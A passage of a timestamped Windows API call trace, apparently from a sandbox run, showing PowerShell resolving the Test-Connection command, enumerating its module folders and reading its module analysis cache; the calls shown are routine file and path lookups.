lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec60) returned 1 [0113.611] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572ef24 | out: lpFileInformation=0x572ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0113.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec5c) returned 1 [0113.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef1c) returned 1 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0113.612] FindFirstFileW (in: lpFileName="C:\\Windows\\Test-Connection.*", lpFindFileData=0x572eccc | out: lpFindFileData=0x572eccc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec74) returned 1 [0113.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572eed4) returned 1 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec60) returned 1 [0113.613] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x572ef24 | out: lpFileInformation=0x572ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0113.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec5c) returned 1 [0113.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef1c) returned 1 [0113.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0113.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0113.613] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Test-Connection.*", lpFindFileData=0x572eccc | out: lpFindFileData=0x572eccc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec74) returned 1 [0113.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572eed4) returned 1 [0113.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec60) returned 1 [0113.614] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x572ef24 | out: lpFileInformation=0x572ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec5c) returned 1 [0113.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef1c) returned 1 [0113.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0113.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0113.614] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Test-Connection.*", lpFindFileData=0x572eccc | out: lpFindFileData=0x572eccc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec74) returned 1 [0113.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572eed4) returned 1 [0113.617] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572edd0, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0113.617] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572edc0, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0113.661] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0113.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0113.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0113.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0113.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378840 [0113.665] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.665] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0113.665] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0113.665] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.665] FindClose (in: hFindFile=0x378840 | out: hFindFile=0x378840) returned 1 [0113.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0113.683] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0113.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0113.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0113.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0113.684] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0113.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0113.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec9c) returned 1 [0113.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x572ef60 | out: lpFileInformation=0x572ef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0113.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec98) returned 1 [0113.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef4c) returned 1 [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0113.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0113.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x572ecfc | out: lpFindFileData=0x572ecfc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x378840 [0113.687] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.687] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0113.687] FindNextFileW (in: hFindFile=0x378840, lpFindFileData=0x572ed04 | out: lpFindFileData=0x572ed04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.687] FindClose (in: hFindFile=0x378840 | out: hFindFile=0x378840) returned 1 [0113.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecbc) returned 1 [0113.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ef1c) returned 1 [0113.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572eca0) returned 1 [0113.688] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572ef64 | out: lpFileInformation=0x572ef64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec9c) returned 1 [0113.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0113.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0113.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ecc4) returned 1 [0113.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x21d09e0 | out: lpFileInformation=0x21d09e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0113.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ecc0) returned 1 [0113.750] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x572df74, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.750] CoTaskMemAlloc (cb=0x20c) returned 0x3ebc58 [0113.750] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x3ebc58 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0113.750] CoTaskMemFree (pv=0x3ebc58) [0113.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0113.750] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0113.750] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0113.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0113.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0113.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e718) returned 1 [0113.751] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.751] GetFileType (hFile=0x3c8) returned 0x1 [0113.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e714) returned 1 [0113.751] GetFileType (hFile=0x3c8) returned 0x1 [0113.753] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e78c, lpOverlapped=0x0 | out: lpBuffer=0x21d1b30*, lpNumberOfBytesRead=0x572e78c*=0x1000, lpOverlapped=0x0) returned 1 [0113.762] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d16ff, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x572e794, lpOverlapped=0x0 | out: lpBuffer=0x21d16ff*, lpNumberOfBytesRead=0x572e794*=0x1, lpOverlapped=0x0) returned 1 [0113.762] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e780, lpOverlapped=0x0 | out: lpBuffer=0x21d1b30*, lpNumberOfBytesRead=0x572e780*=0x1000, lpOverlapped=0x0) returned 1 [0113.763] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d16fd, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x572e794, lpOverlapped=0x0 | out: lpBuffer=0x21d16fd*, lpNumberOfBytesRead=0x572e794*=0x13, lpOverlapped=0x0) returned 1 [0113.763] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e794, lpOverlapped=0x0 | out: lpBuffer=0x21d1b30*, lpNumberOfBytesRead=0x572e794*=0x1000, lpOverlapped=0x0) returned 1 [0113.764] ReadFile (in: hFile=0x3c8, lpBuffer=0x21d1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e794, lpOverlapped=0x0 | out: lpBuffer=0x21d1b30*, lpNumberOfBytesRead=0x572e794*=0x4fd, lpOverlapped=0x0) returned 1 [0113.765] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x572e5f4, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0113.777] CloseHandle (hObject=0x3c8) returned 1 [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0113.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0113.778] GetFileAttributesW (lpFileName="C:\\Program 